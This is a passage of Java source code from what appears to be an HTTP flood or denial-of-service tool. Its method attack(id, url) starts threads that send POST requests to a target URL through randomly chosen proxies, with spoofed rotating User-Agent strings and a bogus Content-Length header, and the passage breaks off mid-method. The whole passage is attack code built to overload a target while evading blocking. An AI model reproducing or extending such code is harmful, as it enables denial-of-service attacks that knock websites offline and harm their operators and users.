public static void attack(int id, String url) throws IOException {
		 new Thread(new Runnable() {
			@Override
			public void run() {
				HttpURLConnection con = null;
				List<String> list = new ArrayList<String>();
				list.add("Yandex/1.01.001 (compatible; Win16; I)");
				list.add("Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36");
				list.add("Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36");
				list.add("Opera/9.80 (Android; Opera Mini/12.0.1987/37.7327; U; pl) Presto/2.12.423 Version/12.16");
				list.add("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4");
				list.add("Mozilla/5.0 (Linux; U; Android 6.0.1; zh-CN; F5121 Build/34.0.A.1.247) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.5.1.944 Mobile Safari/537.36");
				list.add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1");
				list.add("Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0");
			        try {
			            URL myurl = null;
						try {
							myurl = new URL(url);
						} catch (MalformedURLException e2) {
							e2.printStackTrace();
						}
			            try {
			                (con = (HttpURLConnection)myurl.openConnection(getRandomProxy())).setDoOutput(true);
			                con.setDoInput(true);
			                con.setRequestMethod("POST");
			                con.setRequestProperty("charset", "utf-8");
			                String random = list.get(new Random().nextInt(list.size()));
			                con.setRequestProperty("User-Agent", random);
			                con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
			                con.setRequestProperty("Content-Length", URLEncoder.encode("8784513123123123", "UTF-8"));
			                Throwable t = null;